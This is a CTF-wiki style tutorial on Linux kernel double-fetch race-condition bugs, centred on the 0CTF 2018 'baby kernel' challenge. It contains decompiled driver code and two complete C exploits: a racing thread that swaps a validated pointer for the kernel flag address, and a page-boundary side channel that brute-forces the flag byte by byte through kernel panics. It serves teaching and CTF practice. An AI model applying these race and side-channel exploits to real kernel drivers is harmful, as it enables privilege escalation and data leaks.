Skip to content

Double Fetch

Overview

Double Fetch, as the name suggests, means fetching a value twice. In simple terms, it refers to retrieving the value of a certain object two (or more) times during a single operation. From a vulnerability perspective, it belongs to the category of race condition vulnerabilities—a data access race between kernel mode and user mode. It may occur in the following scenario:

  • A large block of data needs to be passed from user space to kernel space, but directly transferring the entire block would incur significant overhead, so the choice is to only pass a pointer to user address space to the kernel.
  • In subsequent operations, the kernel needs to repeatedly access the user space data through this pointer.

In modern operating systems like Linux, virtual memory addresses are typically divided into kernel space and user space. Kernel space is responsible for running kernel code, driver module code, etc., and has higher privileges. User space runs user code and enters the kernel through system calls to perform related functions. Normally, when user space passes data to the kernel, the kernel first copies the user data to kernel space through copy functions such as copy_from_user for validation and related processing. However, when the input data is relatively complex, the kernel may only reference its pointer and temporarily keep the data in user space for subsequent processing. At this point, the data is at risk of being tampered with by other malicious threads, causing the data validated by the kernel to be inconsistent with the data actually used, leading to abnormal kernel code execution.

The principle of a typical Double Fetch vulnerability is shown in the figure below. A user-mode thread prepares data and enters the kernel through a system call. This data is fetched twice in the kernel: the kernel fetches the data the first time to perform a security check (such as buffer size, pointer validity, etc.), and after the check passes, the kernel fetches the data a second time for actual processing. Between the two data fetches, another user-mode thread can create a race condition to tamper with the user-mode data that has already passed the check, causing out-of-bounds access or buffer overflow during actual use, ultimately leading to a kernel crash or privilege escalation.

Typical Double Fetch Principle Diagram

2018 0CTF Finals Baby Kernel

Challenge attachments can be downloaded at https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/CISCN2017-babydriver.

Challenge Analysis

First, analyze the driver file with IDA. We can see that the flag is hardcoded in the driver file.

.data:0000000000000480 flag            dq offset aFlagThisWillBe
.data:0000000000000480                                         ; DATA XREF: baby_ioctl+2Ar
.data:0000000000000480                                         ; baby_ioctl+DBr ...
.data:0000000000000480                                         ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"
.data:0000000000000488                 align 20h

The driver mainly registers a baby_ioctl function, which contains two functionalities. When the cmd parameter in ioctl is 0x6666, the driver outputs the load address of the flag. When the cmd parameter in ioctl is 0x1337, it first performs three checks, then compares the user input with the hardcoded flag byte by byte. When they match, the flag is output via printk.

signed __int64 __fastcall baby_ioctl(__int64 a1, attr *a2)
{
  attr *v2; // rdx
  signed __int64 result; // rax
  int i; // [rsp-5Ch] [rbp-5Ch]
  attr *v5; // [rsp-58h] [rbp-58h]

  _fentry__(a1, a2);
  v5 = v2;
  if ( (_DWORD)a2 == 0x6666 )
  {
    printk("Your flag is at %px! But I don't think you know it's content\n", flag);
    result = 0LL;
  }
  else if ( (_DWORD)a2 == 0x1337
         && !_chk_range_not_ok((__int64)v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))
         && !_chk_range_not_ok(
               v5->flag_str,
               SLODWORD(v5->flag_len),
               *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))
         && LODWORD(v5->flag_len) == strlen(flag) )
  {
    for ( i = 0; i < strlen(flag); ++i )
    {
      if ( *(_BYTE *)(v5->flag_str + i) != flag[i] )
        return 0x16LL;
    }
    printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
    result = 0LL;
  }
  else
  {
    result = 0xELL;
  }
  return result;
}

Analyzing the check function, _chk_range_not_ok checks whether the pointer and length range point to user space. Through analysis of the driver file's functionality, we can derive the user input data structure as follows:

struct flag
{
    char * flag_addr;
    int flag_len;
};

The flag_len parameter is compared with the flag's length. In the .ko file, the flag length is 33.

_chk_range_not_ok checks the following:

  1. Whether the input data pointer is user-mode data.
  2. Whether flag_str within the data pointer points to user mode.
  3. Whether flag_len within the data pointer equals the length of the hardcoded flag.

Solution Approach

Although the address where the flag is stored is known, it is located in the kernel address space. Passing it directly to the module would not pass the validation. So we consider double fetch—first pass a legitimate address in user address space, and start another thread to race by continuously modifying it to the kernel space flag address. As long as we hit once, we can obtain the flag.

First, we need to use the provided cmd=0x6666 functionality to obtain the load address of the flag in the kernel. Content output via printk in the driver can be viewed through the dmesg command. In our exploit, we can redirect the dmesg output to a file, then open and read that file.

Next, we can construct the data structure for the cmd=0x1337 functionality, where flag_len can be directly obtained from the hardcoded value as 33, and flag_str points to a user space address.

Finally, we create a malicious thread that continuously modifies the user-mode address pointed to by flag_str to the kernel address of the flag to create a race condition, thereby passing the byte-by-byte comparison check in the driver and outputting the flag content.

Exploit

The final exploit is as follows:

/**
 * Copyright (c) 2021 arttnba3 <arttnba@gmail.com>
 * 
 * This work is licensed under the terms of the GNU GPL, version 2 or later.
**/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <sys/ioctl.h>

#define SUCCESS_MSG(msg)    "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg)       "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg)      "\033[31m\033[1m" msg "\033[0m"

#define log_success(msg)    puts(SUCCESS_MSG(msg))
#define log_info(msg)       puts(INFO_MSG(msg))
#define log_error(msg)      puts(ERROR_MSG(msg))

pthread_t race_thread;
void *flag_kaddr;
char fake_flag[0x100] = "flag{arttnba3_t3s7_f1@9!}";
int race_times = 0x1000;
int flag_not_found = 1;
struct chal_arg {
    char * flag_addr;
    int flag_len;
} flag = {
    .flag_addr = fake_flag,
    .flag_len = 33
};

void chal_print_flag(int fd)
{
    ioctl(fd, 0x6666);
}

void chal_verify_flag(int fd, struct chal_arg *arg)
{
    ioctl(fd, 0x1337, arg);
}

void* race_thread_fn(void *args)
{
    while (flag_not_found) {
        for (int i = 0; i < race_times; i++) {
            flag.flag_addr = flag_kaddr;
        }
    }

    return NULL;
}

void exploit(void)
{
    int fd, result_fd, addr_fd, flag_fd;
    char *tmp_buf, *flag_addr_addr, *flag_addr;

    fd = open("/dev/baby", O_RDWR);
    if (fd < 0) {
        perror(ERROR_MSG("[x] Unable to open challenge dev file"));
        exit(EXIT_FAILURE);
    }

    chal_print_flag(fd);
    system("dmesg | grep flag > /tmp/addr.txt");
    tmp_buf = (char*) malloc(0x1000);    
    addr_fd = open("/tmp/addr.txt", O_RDONLY);
    if (addr_fd < 0) {
        perror(ERROR_MSG("[x] Unable to open flag addr file"));
        exit(EXIT_FAILURE);
    }

    tmp_buf[read(addr_fd, tmp_buf, 0x1000)] = '\0';
    flag_addr_addr = strstr(tmp_buf, "Your flag is at ")
                     + strlen("Your flag is at ");
    flag_kaddr = (void*) strtoull(flag_addr_addr, (void*) (flag_addr_addr + 16), 16);
    printf(SUCCESS_MSG("[+] flag addr: ") "%p\n", flag_kaddr);

    pthread_create(&race_thread, NULL, race_thread_fn, NULL);

    while (flag_not_found) {
        for(int i = 0; i < race_times; i++) {
            flag.flag_addr = fake_flag;
            chal_verify_flag(fd, &flag);
        }

        system("dmesg | grep flag > /tmp/result.txt");
        result_fd = open("/tmp/result.txt", O_RDONLY);
        read(result_fd, tmp_buf, 0x1000);
        if (strstr(tmp_buf, "flag{")) {
            flag_not_found = 0;
        }
    }

    pthread_cancel(race_thread);

    log_success("[+] race done and flag got!");
    system("dmesg | grep -i flag > /tmp/flag.txt");
    flag_fd = open("/tmp/flag.txt", O_RDONLY);
    if (flag_fd < 0) {
        perror(ERROR_MSG("[x] Unable to open flag file"));
        exit(EXIT_FAILURE);
    }

    tmp_buf[read(flag_fd, tmp_buf, 0x1000)] = '\0';
    flag_addr = strstr(tmp_buf, "So here is it ")+strlen("So here is it ");
    printf(SUCCESS_MSG("[+] Got flag: "));
    fflush(stdout);
    for (int i = 0; flag_addr[i] && flag_addr[i] != '\n'; i++) {
        putchar(flag_addr[i]);
    }

    puts("");
}

int main(int argc, char **argv, char **envp)
{
    exploit();

    return 0;
}

Extra. Side-Channel Attack

The challenge does not verify the legitimacy of the flag address during comparison. Consider the following memory layout:

/*
|                              |    <---- unallocated page
|                              |
|                              |
|------------------------------|
|                              |
|                              |
|                              |
|                              |    <---- page alloc by mmap
|                              |
|                              |
|                     flag{...X|
|------------------------------|
|                              |
|                              |
|                              |    <---- unallocated page
*/

We place the flag at the end of a memory page allocated via mmap, where the last character X is the unknown character we intend to brute-force.

For the character X to be compared, if the comparison fails, ioctl will return directly. If the comparison succeeds, the pointer moves to the next memory page for dereferencing, which will directly cause a kernel panic.

Since the flag is hardcoded in the .ko file, we can brute-force the flag content character by character based on whether a kernel panic occurs.

There are 95 printable ASCII characters, the flag length is 33, subtracting 6 characters for the opening flag{ and closing }, we need at most 26 * 95 = 2470 attempts to obtain the flag.

This requires some patience (because transferring files to the remote is cumbersome). Here is a more convenient exploit that doesn't need to be recompiled each time—just pass the flag as an argument:

/**
 * Copyright (c) 2021 arttnba3 <arttnba@gmail.com>
 * 
 * This work is licensed under the terms of the GNU GPL, version 2 or later.
**/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include<sys/mman.h>
#include<sys/types.h>
#include <sys/ioctl.h>

#define SUCCESS_MSG(msg)    "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg)       "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg)      "\033[31m\033[1m" msg "\033[0m"

struct chal_arg {
    char *flag_addr;
    int flag_len;
} flag = { .flag_len = 33};

void chal_print_flag(int fd)
{
    ioctl(fd, 0x6666);
}

void chal_verify_flag(int fd, struct chal_arg *arg)
{
    ioctl(fd, 0x1337, arg);
}

int main(int argc, char ** argv, char ** envp)
{
    int fd, flag_len;
    char * buf, *flag_addr;

    if (argc < 2) {
        puts("usage: ./exp flag");
        exit(-1);
    }

    flag_len = strlen(argv[1]);

    fd = open("/dev/baby", O_RDWR);
    if (fd < 0) {
        perror(ERROR_MSG("[x] Unable to open challenge dev file"));
        exit(EXIT_FAILURE);
    }

    buf = mmap(
        NULL,
        0x1000,
        PROT_READ | PROT_WRITE,
        MAP_ANONYMOUS | MAP_SHARED,
        -1,
        0
    );
    flag_addr = buf + 0x1000 - flag_len;
    memcpy(flag_addr, argv[1], flag_len);
    flag.flag_addr = flag_addr;

    chal_verify_flag(fd, &flag);

    return 0;
}

Miscellaneous

There are several points to note when setting up the environment for this challenge.

First, dmesg_restrict needs to be disabled, otherwise printk information cannot be viewed. The specific operation is to add the following to the startup script:

echo 0 > /proc/sys/kernel/dmesg_restrict

Second, when configuring QEMU startup parameters, do not enable SMAP protection, otherwise directly accessing user-mode data in the kernel will cause a kernel panic.

Also, when configuring QEMU startup parameters, it should not be configured to start with a single core and single thread, otherwise the race condition in the challenge cannot be triggered. The specific operation is to add the number of cores option to the startup parameters, for example:

-smp 2,cores=2,threads=1  \

After booting, you can check the current number of running cores and hyperthreading count via /proc/cpuinfo.

Reference

https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/

https://www.usenix.org/conference/usenixsecurity17/technical-sessions/presentation/wang-pengfei

https://veritas501.space/2018/06/04/0CTF%20final%20baby%20kernel/

http://p4nda.top/2018/07/20/0ctf-baby/

https://www.freebuf.com/articles/system/156485.html